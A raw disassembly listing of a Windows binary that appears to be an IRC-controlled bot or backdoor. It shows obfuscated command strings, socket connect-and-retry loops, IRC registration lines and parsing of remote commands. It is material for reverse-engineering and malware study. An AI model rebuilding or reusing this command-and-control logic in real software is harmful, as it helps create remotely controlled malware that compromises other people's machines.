		call	sub_4017EE
		push	eax
		push	offset aServDelS_ ; "serv(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_40F53A:				; CODE XREF: ___:0040F505j
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F561:				; CODE XREF: ___:0040F4D4j
		mov	ecx, [esp+6Ch]
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F660	proc near		; CODE XREF: sub_401D16j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	eax, [esp+0Ch+arg_0]
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		mov	[eax], edx
		xor	eax, eax
		add	esp, 4
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
sub_40F660	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F6D0	proc near		; CODE XREF: sub_40169Fj

var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40F6D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+3Ch+var_28], esi
		call	sub_401E88
		lea	edi, [esi+11h]
		mov	[esp+3Ch+var_4], 0
		mov	ecx, edi
		call	sub_4011B3
		lea	ebp, [esi+28h]
		mov	ecx, ebp
		call	sub_40142E
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+3Ch+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+3Ch+var_4], 2
		call	sub_401753
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+3Ch+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+3Ch+var_4], 4
		call	sub_401753
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+3Ch+var_4], 5
		call	sub_401753
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+3Ch+var_4], 6
		call	sub_401753
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+3Ch+var_4], 7
		call	sub_401753
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+3Ch+var_4], 8
		call	sub_401753
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+3Ch+var_4], 9
		call	sub_401753
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+3Ch+var_4], 0Ah
		call	sub_401753
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+3Ch+var_4], 0Bh
		call	sub_401753
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+3Ch+var_4], 0Ch
		call	sub_401753
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+3Ch+var_4], 0Dh
		call	sub_401753
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+3Ch+var_4], 0Eh
		call	sub_401753
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+3Ch+var_4], 0Fh
		call	sub_401753
		lea	eax, [esp+3Ch+var_29]
		lea	ecx, [esi+2DAh]
		push	eax
		mov	byte ptr [esp+40h+var_4], 10h
		call	sub_40172B
		mov	dword ptr [edi], offset	off_43F034
		mov	bl, 11h
		xor	edi, edi
		push	offset byte_448F30
		mov	ecx, ebp
		mov	byte ptr [esp+40h+var_4], bl
		mov	dword ptr [esi], offset	off_43F028
		mov	byte ptr [esi+17h], 1
		mov	byte ptr [esi+15h], 0
		mov	byte ptr [esi+16h], 0
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		mov	[esi+1Ch], edi
		mov	[esi+20h], edi
		call	sub_4015E1
		call	near ptr 27E0B10h
		nop
		push	edi
		push	21h
		push	28h
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	2Ah
		push	ecx
		mov	[esi+24h], eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 12h
		call	sub_4017EE
		push	eax
		push	offset dword_4490BC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Dh
		push	23h
		push	2Eh
		push	29h
		lea	edx, [esp+54h+var_24]
		push	28h
		push	edx
		call	sub_4019C4
		add	esp, 20h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 13h
		call	sub_4017EE
		push	eax
		push	offset dword_4490C0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	28h
		push	23h
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	24h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 14h
		call	sub_4017EE
		push	eax
		push	offset dword_4490C4
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	21h
		push	2Dh
		push	27h
		push	30h
		push	23h
		push	2Ch
		lea	ecx, [esp+58h+var_24]
		push	2Ah
		push	ecx
		call	sub_4019C4
		add	esp, 24h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 15h
		call	sub_4017EE
		push	eax
		push	offset dword_4490C8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Dh
		push	29h
		push	22h
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+5Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019C4
		add	esp, 28h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 16h
		call	sub_4017EE
		push	eax
		push	offset dword_4490CC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	47h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 17h
		call	sub_4017EE
		push	eax
		push	offset dword_4490D0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	47h
		push	ecx
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 18h
		call	sub_4017EE
		push	eax
		push	offset dword_4490D4
		call	sub_401D16
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	21h
		push	28h
		push	29h
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 19h
		call	sub_4017EE
		push	eax
		push	offset dword_4490D8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Dh
		push	2Dh
		push	1Bh
		lea	eax, [esp+4Ch+var_24]
		push	2Ah
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ah
		call	sub_4017EE
		push	eax
		push	offset dword_4490DC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	28h
		push	ecx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Bh
		call	sub_4017EE
		push	eax
		push	offset dword_4490E0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+4Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ch
		call	sub_4017EE
		push	eax
		push	offset dword_4490E4
		call	sub_401D16
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	47h
		push	49h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Dh
		call	sub_4017EE
		push	eax
		push	offset dword_4490E8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	25h
		push	ecx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Eh
		call	sub_4017EE
		push	eax
		push	offset dword_4490EC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Ch
		push	1Bh
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Fh
		call	sub_4017EE
		push	eax
		push	offset dword_4490F0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Eh
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	27h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 20h
		call	sub_4017EE
		push	eax
		push	offset dword_4490F4
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	45h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	44h
		push	ecx
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 21h
		call	sub_4017EE
		push	eax
		push	offset dword_4490F8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	49h
		push	44h
		lea	edx, [esp+48h+var_24]
		push	44h
		push	edx
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 22h
		call	sub_4017EE
		push	eax
		push	offset dword_4490FC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	23h
		push	2Fh
		lea	eax, [esp+4Ch+var_24]
		push	2Bh
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 23h
		call	sub_4017EE
		push	eax
		push	offset dword_449100
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		mov	ecx, [esp+3Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn
sub_40F6D0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 180h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FE40	proc near		; CODE XREF: ___:004019D3j sub_401A4Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4013C5
sub_40FE40	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_40FE58
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40FE58:				; CODE XREF: ___:0040FE4Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FE70	proc near		; CODE XREF: sub_4013C5j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40FE70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F028
		mov	dword ptr [esi+11h], offset off_43F034
		lea	ecx, [esi+2DAh]
		mov	[esp+14h+var_4], 10h
		call	sub_401B68
sub_40FE70	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401023
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401023
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_401023
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_401023
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401023
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_401023
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+10h], 9
		call	sub_401023
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+10h], 8
		call	sub_401023
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+10h], 7
		call	sub_401023
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+10h], 6
		call	sub_401023
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+10h], 5
		call	sub_401023
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+10h], 4
		call	sub_401023
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+10h], 3
		call	sub_401023
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+10h], 2
		call	sub_401023
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+28h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_410030	proc near		; CODE XREF: sub_402149j

var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_1C		= byte ptr  20h
arg_1E		= word ptr  22h
arg_20		= dword	ptr  24h
arg_24		= dword	ptr  28h
arg_28		= dword	ptr  2Ch
arg_2C		= dword	ptr  30h
arg_34		= byte ptr  38h
arg_4C		= byte ptr  50h
arg_64		= byte ptr  68h
arg_7C		= byte ptr  80h
arg_94		= byte ptr  98h
arg_AC		= byte ptr  0B0h
arg_C4		= byte ptr  0C8h
arg_DC		= byte ptr  0E0h
arg_F4		= byte ptr  0F8h
arg_10C		= byte ptr  110h
arg_124		= byte ptr  128h
arg_13C		= byte ptr  140h
arg_154		= byte ptr  158h
arg_16C		= byte ptr  170h
arg_184		= byte ptr  188h
arg_19C		= byte ptr  1A0h
arg_1B4		= byte ptr  1B8h
arg_1CC		= byte ptr  1D0h
arg_1E4		= byte ptr  1E8h
arg_1FC		= byte ptr  200h
arg_214		= byte ptr  218h
arg_22C		= byte ptr  230h
arg_244		= byte ptr  248h
arg_25C		= byte ptr  260h
arg_274		= byte ptr  278h
arg_28C		= byte ptr  290h
arg_2A4		= byte ptr  2A8h
arg_2BC		= byte ptr  2C0h
arg_2D4		= byte ptr  2D8h
arg_2EC		= byte ptr  2F0h
arg_304		= byte ptr  308h
arg_31C		= byte ptr  320h
arg_334		= byte ptr  338h
arg_34C		= byte ptr  350h
arg_364		= byte ptr  368h
arg_37C		= byte ptr  380h
arg_394		= byte ptr  398h
arg_3AC		= byte ptr  3B0h
arg_3C4		= byte ptr  3C8h
arg_3DC		= byte ptr  3E0h
arg_3F4		= byte ptr  3F8h
arg_408		= byte ptr  40Ch
arg_40C		= byte ptr  410h
arg_464		= byte ptr  468h
arg_2464	= dword	ptr  2468h
arg_246C	= dword	ptr  2470h
arg_2470	= dword	ptr  2474h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43A8D3
		push	eax
		mov	eax, 2478h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+1Ch+var_4]
		call	sub_40142E
		mov	al, [ebp+17h]
		xor	ebx, ebx
		cmp	al, bl
		mov	[esp+1Ch+arg_2470], ebx
		jz	loc_411400


loc_410072:				; CODE XREF: sub_410030+13CAj
		mov	al, byte_4E8E44
		mov	edi, dword_5118AC
		cmp	al, bl
		jz	loc_411400
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jnz	short loc_41009A
		cmp	dword ptr [ebp+1Ch], 5
		jg	short loc_4100A4
		cmp	eax, ebx
		jz	loc_4101DE


loc_41009A:				; CODE XREF: sub_410030+5Aj
		cmp	dword ptr [ebp+1Ch], 2
		jle	loc_4101DE


loc_4100A4:				; CODE XREF: sub_410030+60j
		mov	eax, [ebp+18h]
		mov	[ebp+16h], bl
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+15h], bl
		jz	short loc_4100B9
		push	eax
		nop
		call	near ptr 71AB9639h


loc_4100B9:				; CODE XREF: sub_410030+80j
		mov	ecx, offset word_44AC5E
		mov	dword ptr [ebp+18h], 0FFFFFFFFh
		call	sub_401541
		mov	esi, [ebp+20h]
		inc	esi
		mov	[ebp+20h], esi
		lea	esi, [ebp+2DAh]
		mov	ecx, esi
		call	sub_401983
		mov	ecx, [ebp+20h]
		dec	eax
		cmp	ecx, eax
		jbe	short loc_4100E9
		mov	[ebp+20h], ebx


loc_4100E9:				; CODE XREF: sub_410030+B4j
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		mov	[ebp+1Ch], ebx
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 16Dh
		push	ecx
		push	offset byte_4493ED
		mov	ecx, offset word_44ACD6
		call	sub_401F50
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_401474
		mov	eax, [eax]
		mov	ecx, offset word_44ACD6
		add	eax, 1B6h
		push	eax
		push	offset dword_4493A4
		call	sub_401F50
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_401474
		mov	edx, [eax]
		mov	ecx, offset word_44ACD6
		push	edx
		push	offset dword_449280
		call	sub_401F50
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 124h
		push	ecx
		push	offset word_449312
		mov	ecx, offset word_44ACD6
		call	sub_401F50
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_401474
		mov	eax, [eax]
		mov	ecx, offset word_44ACD6
		add	eax, 0DBh
		push	eax
		push	offset byte_4492C9
		call	sub_401F50
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_401474
		mov	edx, [eax]
		mov	ecx, offset word_44ACD6
		add	edx, 92h
		push	edx
		push	offset byte_44935B
		call	sub_401F50
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 1FFh
		push	ecx
		push	offset byte_44947F
		mov	ecx, offset word_44ACD6
		call	sub_401F50
		call	edi
		mov	[ebp+24h], eax


loc_4101DE:				; CODE XREF: sub_410030+64j
					; sub_410030+6Ej
		mov	edx, [ebp+18h]
		cmp	edx, 0FFFFFFFFh
		jnz	short loc_410208
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		push	7D0h
		mov	[ebp+18h], eax
		mov	[ebp+15h], bl
		nop
		call	near ptr 2821DE2h
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410208:				; CODE XREF: sub_410030+1B4j
		cmp	[ebp+15h], bl
		jnz	loc_410398
		mov	ax, word_44932C
		xor	edx, edx
		mov	[esp+20h+arg_20], edx
		push	eax
		mov	[esp+24h+arg_24], edx
		mov	word ptr [esp+24h+arg_20], 2
		mov	[esp+24h+arg_28], edx
		mov	[esp+24h+arg_2C], edx
		nop
		call	near ptr 71AB2B66h
		mov	ecx, offset byte_4492C9
		mov	[esp+24h+arg_1E], ax
		call	sub_4017EE
		push	eax
		call	sub_40188E
		add	esp, 4
		mov	[esp+24h+arg_20], eax
		call	edi
		mov	edx, [ebp+18h]
		lea	ecx, [esp+24h+arg_1C]
		push	10h
		push	ecx
		push	edx
		mov	[ebp+24h], eax
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410288
		push	2710h
		nop
		call	near ptr 2821DE2h
		mov	eax, [ebp+1Ch]
		mov	[ebp+15h], bl
		inc	eax
		mov	[ebp+1Ch], eax
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410288:				; CODE XREF: sub_410030+23Cj
		mov	byte ptr [ebp+15h], 1
		mov	[ebp+16h], bl
		call	edi
		mov	[ebp+24h], eax
		xor	eax, eax
		mov	[esp+30h+arg_0], eax
		lea	ecx, [esp+30h+arg_20]
		mov	[esp+30h+arg_4], eax
		lea	edx, [esp+30h+arg_0]
		mov	[esp+30h+arg_8], eax
		push	ecx
		mov	[esp+34h+arg_C], eax
		mov	eax, [ebp+18h]
		push	edx
		push	eax
		mov	[esp+3Ch+arg_20], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+3Ch+var_4+3]
		mov	edx, [esp+3Ch+var_4+2]
		mov	eax, [esp+3Ch+var_4+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+40h+var_4]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+4Ch+arg_408]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	sub_5F76F7
		add	esp, 18h
		lea	eax, [esp+3Ch+arg_408]
		lea	ecx, [ebp+3Dh]
		push	eax
		call	sub_4015E1
		lea	ecx, [esp+3Ch+arg_408]
		push	ecx
		nop
		call	near ptr 71AB2BF4h
		push	offset byte_448F30
		mov	ecx, offset byte_44935B
		mov	[ebp+52h], eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410357
		mov	ecx, offset byte_44935B
		call	sub_4017EE
		mov	edx, dword_4490DC
		push	eax
		push	edx
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h


loc_410357:				; CODE XREF: sub_410030+305j
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490E4
		push	eax
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		mov	ecx, dword_4490E0
		push	eax
		push	ecx
		push	offset aSSSS00S	; "%s %s\r\n%s %s 0 0 :%s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 1Ch
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410398:				; CODE XREF: sub_410030+1DBj
		mov	ecx, 800h
		xor	eax, eax
		lea	edi, [esp+20h+arg_464]
		push	ebx
		rep stosd
		lea	eax, [esp+24h+arg_464]
		push	2000h
		push	eax
		push	edx
		call	sub_401280
		add	esp, 10h
		cmp	al, bl
		jz	loc_4113F0
		call	near ptr 27E0B10h
		nop
		lea	ecx, [esp+20h+var_8]
		mov	[ebp+24h], eax
		call	sub_401CD0
		lea	ecx, [esp+20h+arg_464]
		push	ecx
		lea	ecx, [esp+24h+var_8]
		call	sub_401A9B
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_364]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490E8
		mov	byte ptr [esp+20h+arg_246C], 1
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_410470
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_3F4]
		push	4
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset dword_4493A4
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 2
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+20h+arg_3F4]
		mov	byte ptr [esp+20h+arg_246C], 1
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_410474


loc_410470:				; CODE XREF: sub_410030+3EAj
		mov	[esp+20h+var_D], bl


loc_410474:				; CODE XREF: sub_410030+43Ej
		lea	ecx, [esp+20h+arg_364]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410496
		mov	byte ptr [ebp+16h], 1
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410496:				; CODE XREF: sub_410030+45Bj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_F4]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490BC
		mov	byte ptr [esp+20h+arg_246C], 3
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_F4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_444600 ; " "
		cmp	al, bl
		push	1
		jz	short loc_410534
		lea	edx, [esp+28h+arg_2A4]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 4
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490D8
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2A4]
		jmp	loc_410662
; ---------------------------------------------------------------------------


loc_410534:				; CODE XREF: sub_410030+4BAj
		lea	edx, [esp+28h+arg_124]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016B8
		mov	ecx, dword_4490C0
		mov	byte ptr [esp+20h+arg_246C], 5
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_124]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_444600 ; " "
		cmp	al, bl
		jz	loc_4106A0
		lea	edx, [esp+24h+arg_40C]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 6
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_40C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_4113F7
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_154]
		push	11h
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490D8
		mov	byte ptr [esp+20h+arg_246C], 7
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_154]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410667
